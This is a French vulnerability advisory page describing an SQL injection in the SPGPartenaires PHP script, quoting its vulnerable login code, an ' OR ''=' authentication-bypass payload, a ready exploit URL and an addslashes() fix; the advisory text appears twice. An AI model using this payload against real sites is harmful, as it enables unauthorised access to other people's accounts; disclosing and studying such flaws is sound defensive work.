Page principale >Hacking / Sécurité
Suite...
Suite...
Suite...
Suite...
Suite...
Vulerabilite SPGPartenaires injection SQL
SPGPartenaires est un script de gestion de partenariat français qui permet de classer les partenaires en fonction du nombre de visiteurs qu'ils envoient.
toutes les versions jusqu'à la 3.01 semblent vulnérables.
la faille est valable sur tous les fichiers se trouvant dans le dossier /modif
Dans le fichier ident.php:
$sql="SELECT nomsite FROM SPGPartenaires WHERE id='".$id."' AND motdepasse='".$pass."'";
$re=@mysql_db_query($db_name,$sql,$connect);
$result=@mysql_fetch_array($re);
if(empty($result[0]))
{
header("location: index.php?msg=Identification+incorrecte+!");
}
else
{
setcookie("SPGP",$id."||".$pass,time()+84600,"");
header("location: index2.php");
}
Dans les autres fichiers, on observe:
if(!isset($SPGP))
{
header("location: index.php?msg=Veuillez+vous+identifier+!");
}
else
{
$inf=explode("||",$SPGP);
[...............]
$sql="SELECT id FROM SPGPartenaires WHERE id='".$inf[0]."' AND motdepasse='".$inf[1]."'";
$re=@mysql_db_query($db_name,$sql,$connect);
$result=@mysql_fetch_array($re);
if(empty($result[0]))
{
header("location: index.php?msg=Veuillez+vous+identifier+!");
}
On remarque que les variables d'identifications peuvent etre injectés.
Si on donne comme valeur aux variables ' OR ''='
On obtient alors la requete:
SELECT id FROM SPGPartenaires WHERE id='' OR ''='' AND motdepasse='' OR ''=''
Vous n'etes pas sans savoir que ''='' retourne toujours vrai comme reponse en SQL. Ainsi, vous etes logé en tant que membre. il suffira d'aller a l'adresse:
http://serveur.com/modif/ident.php?id=[ID]&pass='%20OR%20''='
En mettant 5 a la place d'iD, vous serez logé en tant que membre gerant le site ayant l'ID 5.
Pour se proteger de cette faille, il suffit de remplacer $id, $pass, $inf[0], $inf[1] par respectivement:
addslashes($id), addslashes($pass), addslashes($inf[0]), addslashes($inf[1]).
la faille est valable sur tous les fichiers se trouvant dans le dossier /modif
Dans le fichier ident.php:
$sql="SELECT nomsite FROM SPGPartenaires WHERE id='".$id."' AND motdepasse='".$pass."'";
$re=@mysql_db_query($db_name,$sql,$connect);
$result=@mysql_fetch_array($re);
if(empty($result[0]))
{
header("location: index.php?msg=Identification+incorrecte+!");
}
else
{
setcookie("SPGP",$id."||".$pass,time()+84600,"");
header("location: index2.php");
}
Dans les autres fichiers, on observe:
if(!isset($SPGP))
{
header("location: index.php?msg=Veuillez+vous+identifier+!");
}
else
{
$inf=explode("||",$SPGP);
[...............]
$sql="SELECT id FROM SPGPartenaires WHERE id='".$inf[0]."' AND motdepasse='".$inf[1]."'";
$re=@mysql_db_query($db_name,$sql,$connect);
$result=@mysql_fetch_array($re);
if(empty($result[0]))
{
header("location: index.php?msg=Veuillez+vous+identifier+!");
}
On remarque que les variables d'identifications peuvent etre injectés.
Si on donne comme valeur aux variables ' OR ''='
On obtient alors la requete:
SELECT id FROM SPGPartenaires WHERE id='' OR ''='' AND motdepasse='' OR ''=''
Vous n'etes pas sans savoir que ''='' retourne toujours vrai comme reponse en SQL. Ainsi, vous etes logé en tant que membre. il suffira d'aller a l'adresse:
http://serveur.com/modif/ident.php?id=[ID]&pass='%20OR%20''='
En mettant 5 a la place d'iD, vous serez logé en tant que membre gerant le site ayant l'ID 5.
Pour se proteger de cette faille, il suffit de remplacer $id, $pass, $inf[0], $inf[1] par respectivement:
addslashes($id), addslashes($pass), addslashes($inf[0]), addslashes($inf[1]).
Les + Lus Dans Cette Catégorie
Le Processus d activation de Windows XP mis a nu
Mais quel sont les informations que windows XP envoit à microsoft lors de l'activation du systeme d'exploitation? Quand on connait la politique de la vie privée de redmond, on s'attend au pire....Suite...
Savoir si La RIAA vous en veut
Vous etes un acharné du download sur Kazaa. Votre mule tourne a 110 % et votre disque dur pullule de DivX. Ce que vous ne savez peut etre pas, c'est que vous etes peut etre le prochain sur la liste des poursuites judiciaires de la RIAA.Suite...
le portable Orange SPV vulnerable
Une faille de securité touche le portable Orange SPV ( sound picture video ). Le probleme provient des signatures numériques gerées par un logiciel developpé par ... Microsoft :)Suite...
17 ans et 2000 sites hackes, dont 1 de trop !
DKD, 17 ans et demi, lycéen, a été arrèté chez ses parents à Vélizy-Villacoublay après une enquête de policiers de la criminalité informatique. Après s'etre attaqué au site de la NAVY, c'est le site ..... d'une préfecture qui lui aurait été fatal.Suite...
et de 1 pour office 2003
"Overview of the Office 2003 Critical Update", c'est le nom du premier rejeton d'une grande lignée de bug et patch que s'apprete a connaitre le nouveau Microsoft Office 2003.Suite...
Navigation Rapide
|
Astuces Webmaster Astuces WINDOWS Astuces WINDOWS XP Comment ça marche DVD / Secret Evenements Exploits Hacking / Sécurité | Hardware Jeux Vidéo linux News Script(php,java...) Telephonie/GSM Virus |
